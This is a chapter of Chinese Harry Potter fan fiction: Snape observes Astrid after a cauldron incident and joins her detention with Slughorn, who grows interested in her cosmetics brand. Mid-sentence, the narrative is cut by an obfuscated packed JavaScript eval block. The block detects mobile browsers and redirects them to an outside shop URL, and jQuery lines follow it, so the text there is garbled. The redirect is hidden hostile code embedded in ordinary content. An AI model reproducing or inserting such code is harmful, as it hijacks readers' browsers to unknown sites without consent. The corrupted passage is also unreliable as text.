34.
当晚的大礼堂里，烛光依旧在悬浮的蜡烛上摇曳，将整个空间笼罩在一片温暖的金色光晕中。斯内普坐在斯莱特林长桌靠中间的位置，习惯性地往格兰芬多长桌那边瞥了一眼，然后他的叉子微微顿住了。
詹姆·波特和西里斯·布莱克居然正扭着身子朝阿斯特丽德的方向，脸上带着破天荒的、近乎赞赏的表情。詹姆甚至还冲她竖了个大拇指，语气里带着“我虽然不喜欢你但我不得不承认你干得漂亮”的别扭：“干得好，杜兰特。对付弗林特那种人，就该这样。”
西里斯在一旁附和着点头，神色里难得没有嘲讽。
而莉莉和艾丽斯则用不赞同的目光瞪着詹姆等人，眼神里明明白白地写着“你们能不能别火上浇油”。然后她们又转过头去，低声跟阿斯特丽德说着什么，像是在劝她，又像是在询问细节。阿斯特丽德则似乎振振有词地在辩解着什么，不时挥舞一下手里的叉子，旁边还坐着一个圆脸的小姑娘——就是她的魔药搭子菲琳娜——正用力地点头附和，活像是在法庭上作证的证人。
斯内普甚至听见了一句飘过来的话，声音来自那个圆脸小姑娘，语气笃定：“难怪会把你分到格兰芬多。”
哈？
那个小姑娘是怎么从炸坩埚这件事里看出这一点的？
没等他在心里吐槽完，就听不远处传来一个恶狠狠的声音——里奥·弗林特正凑在帕金森耳边，那张和塞拉斯有几分相似的脸上满是阴鸷，语气压得很低，但音量足以让周围几个人听清：“你等着看吧，帕金森，我会让那个格兰芬多的麻瓜好看的。她以为炸了我弟弟就能全身而退？做梦。”他嘴角勾起一个冷笑，“我让我父亲给学校施压，霍格沃茨总得听魔法部的，不是吗？让她退学，也就是一句话的事。”
斯内普没再往那个方向看一眼，只是继续慢条斯理地吃着盘子里的食物，但眉头却微微蹙了起来。他从周围那些断断续续飘进耳朵里的对话中，大概拼凑出了阿斯特丽德在魔药课上干的事——炸了弗林特家的那个小鬼头的坩埚，把人家送进了医疗翼，自己被斯拉格霍恩扣了五十分，还罚了禁闭。
他心里无奈地吐槽了一句：冲动的格兰芬多。
她难道非得这么硬碰硬地直面冲突吗？她现在也越来越让他怀疑她到底算不算得上是一个斯莱特林了——怎么能鲁莽成这样？如果对方直接给她来一发恶咒，她要怎么办？就凭她那点可怜兮兮的魔力，能躲得过吗？
但吐槽完，他又莫名觉得，她能凭借自己的力量报复回去，这本身是件值得欣慰的事。至少她没有忍气吞声，没有像从前那样只能任由自己被欺负。就是不够隐蔽，不够迂回，没有完美地隐藏自己、让对方抓不住把柄。这种方式，太格兰芬多了。
晚上八点整，阿斯特丽德准时出现在地窖的魔药办公室门口。她敲了敲门，听到里面传来一声“进来”后，推门走了进去。
斯拉格霍恩教授正坐在他那张宽大的办公桌后面，挺着标志性的大肚子，握着一支羽毛笔在一沓羊皮纸上批改着。他抬起头看了她一眼，随手指了指角落里的一个木桶，语气里是公事公办的平淡：“哦，杜兰特小姐，你来了。看到那个木桶了吗？里面是蟾蜍眼睛，需要全部处理好——把那些薄膜剥掉，把里面那层白色的东西清理干净，然后按大小分类。做完才能回去。”
阿斯特丽德心里不乐意极了——蟾蜍眼睛，那玩意儿真的太恶心了，光是看着那一桶圆溜溜、湿漉漉、带着诡异光泽的东西，她就觉得胃里一阵翻涌。但她现在是个挨处罚的家伙，平时又没什么出色的表现，在斯拉格霍恩这里就是人下人，没有呵护和怜惜的必要。她应了一声，从旁边拿起一副橡胶手套戴好，又搬了个小板凳放在木桶旁边，一屁股坐下去，开始慢吞吞地劳动改造。
那些蟾蜍眼睛在她指尖滑腻腻地滚来滚去，每一次剥开那层薄膜时发出的轻微噗嗤声，都让她在心里把塞拉斯·弗林特的祖宗十八代问候了一遍。
刚处理了三分之一，办公室的门被敲响了。
斯拉格霍恩教授头也不抬地又说了声“进来”，门被推开，进来的居然是斯内普。他穿着一身黑色的校袍，手里拎着一个鼓鼓囊囊的布袋，随意地瞥了一眼角落里那个正跟蟾蜍眼睛作斗争的熟悉身影，然后走到办公桌前，将布袋里的东西一一取出来放在桌边。那是十几瓶颜色各异的魔药，整整齐齐地排成一排，瓶身上还贴着手写的标签，标明药名和熬制日期。
“教授，您上周让我熬制的那些魔药，我都做好了。”斯内普的声音平淡，带着慢悠悠的从容，“缓和剂八瓶，提神剂六瓶，还有三瓶生死水——您之前说医疗翼那边需要补充库存。”
斯拉格霍恩教授放下手里的羽毛笔，拿起那些魔药一瓶瓶检查起来。他对着光看了看成色，又打开瓶塞嗅了嗅气味，脸上渐渐浮现出满意的笑容。他挥了挥魔杖，那些药剂便自动排着队飞到靠墙的架子上，在相应的位置整整齐齐地站好。
“非常完美，西弗勒斯，一如既往地优秀。”斯拉格霍恩教授靠回椅背，那双精明的眼睛打量着眼前这个得意门生，语气里满是欣赏，“你的魔药水平已经超过不少七年级的学生了——说实话，我有时候都忘了你才六年级。”他等着斯内普告辞离开，毕竟这个点来找他交东西，通常就是放下就走的事。
但斯内普没有要走的意思。
他从校袍口袋里抽出一沓厚厚的羊皮纸，双手端着递到斯拉格霍恩教授面前，语气郑重：“教授，这是我提早准备的毕业论文课题的大纲和思路——里面详细列举了关于魔药和魔咒的结合应用，以及在黑魔法防御上的可观效果。如果您有时间，希望能请您批阅并给些意见。”
阿斯特丽德一边剥着蟾蜍眼睛，一边竖着耳朵听着那边的对话。魔药和魔咒的结合应用？这听起来有点像麻瓜学科里的物化结合——把不同领域的知识融合起来，产生新的效果。
但她只是一个正在跟蟾蜍眼睛搏斗的小菜鸡，没有发表言论和看法的资格。
斯拉格霍恩教授一向看重这个得意门生，闻言接过那沓羊皮纸，戴上眼镜，一张张仔细翻看起来。他时而点头，时而皱眉，偶尔抬起头提出一些具体的细化方向，斯内普就站在一边认真地听着，不时补充几句自己的看法，两个人你一言我一语，讨论得热火朝天。
只有阿斯特丽德，悲愤地对着一整桶还没处理完的蟾蜍眼睛，偶尔朝那对模范师生投过去一眼。
还剩半桶的时候，斯拉格霍恩教授终于把那些论文大纲和实验数据翻完了，他指了指对面的椅子，示意斯内普坐下。斯内普从善如流地坐了下来，从校袍口袋里抽出一支羽毛笔，就在那张办公桌上开始修改起大纲的内容，把刚才教授提出的要点和研究方向一字不漏地记下来。
办公室里便只剩下两只羽毛笔的沙沙声，以及阿斯特丽德不遗余力处理蟾蜍眼睛时偶尔发出的轻微噗嗤声。
其中一只羽毛笔的声音渐渐停顿下来，接着是斯拉格霍恩教授的询问声，带着明显的考校意味：“杜兰特小姐，你前几天交的那篇关于补血剂的论文，我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334607|199227||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看了。里面提到‘月长石粉末的添加顺序会影响药剂的稳定性’，你能具体说说，应该先加月长石还是先加嚏根草精华？为什么？”
阿斯特丽德愣了一下，手里的动作也停了下来。她抬起头，发现斯拉格霍恩教授正从眼镜上方看着她。
她顺畅地回答出来，语气平静，条理清晰：“应该先加嚏根草精华，等药剂的颜色从淡绿变成浅蓝之后，再加入月长石粉末。因为月长石对温度敏感，如果加得太早，高温会让它的有效成分挥发，影响药剂的稳定性。而且，加入月长石之后要顺时针搅拌五圈，不能多也不能少，否则药剂会变得浑浊。”
回答完之后，她不着痕迹地看了一眼仍旧伏案书写的斯内普。
这问题是斯拉格霍恩教授单挑出来问的，问的正是斯内普帮她修改论文时添补的那些延伸内容。这种她在课本上根本找不到的知识点，明显来自他私人藏书和实验心得的独到见解。
斯拉格霍恩教授满意地点了点头，脸上浮现出几分意外的赞许：“没想到你理论知识还是很扎实的，杜兰特小姐。”他用一种过来人般的口吻指点，“以你的水平，以后可以考虑去圣芒戈当窗口药剂师——发药岗很适合你，用不着什么魔力，只需要把药发给病人，告诉他们怎么用就行。”
阿斯特丽德：“……”
她就一定得在巫师界找工作吗？
斯内普终于抬起头看了她一眼，目光在她脸上停留了一下，然后像是随口补充一般开口：“事实上，教授，杜兰特在发明创造一途上很有天赋和心得。她有自己的洗化品牌，叫A.S，口碑还不错——至少在麻瓜那边的圈子里，已经积累了一批稳定的客户。”
接下来的时间就在一边处理蟾蜍眼睛一边讨论A.S品牌的发展中悄然流过。当斯拉格霍恩教授听到这个品牌背后还有斯内普的参与时，那双本来就亮得过分的眼睛简直要放出光来——他一直以为斯内普会走纯粹的学术路线，埋头搞那些高深的魔药研究，没想到他不声不响地还掺和了生意。虽然目前这点规模在他眼里还不成气候，但既然有他看中的学生在里面，顺手帮一把也不是什么难事。要是运作得当，说不定A.S能跟波特家的速顺滑发剂不相上下。
赚钱嘛，就是要趁早。否则路都让别人走完了，到时候就是想捡路边的野草都得挤得头破血流。斯拉格霍恩教授本来就重视物质享受，这需要金钱支撑——华丽的袍子、精致的食物、昂贵的收藏品，哪一样不需要金加隆？如果他能帮助扶持A.S品牌成长起来，那他作为原始股东，怎么着也能得到不少分红。
于是当阿斯特丽德终于处理完最后一颗蟾蜍眼睛，站起身来准备告辞时，斯拉格霍恩教授叫住了她：“杜兰特小姐，你明晚来劳作的时候，记得带上你们品牌的产品，我看看。如果可行，我可以帮你们联系生产厂家，注册专利——这些东西在魔法界也是有市场的，尤其是那些改良过的小玩意儿。”他顿了顿，又补充道，“如果你们需要研发指导，我也可以参与。”
阿斯特丽德高兴极了。她心里清楚得很，这份机会根本不是“刚好碰上的运气”。斯内普那几句轻描淡写的补充，表面上是随口一提，但如果没有他主动刷脸背书，斯拉格霍恩教授根本不会对她这样一个“魔力弱得可怜的格兰芬多插班生”多看一眼。
她太了解这些老油条的作风了。
她朝斯内普投过去一个灿烂的笑容，脸上满是真诚的感激，然后才转向斯拉格霍恩教授，语气郑重地应承下来：“谢谢教授，明晚我一定带过来。”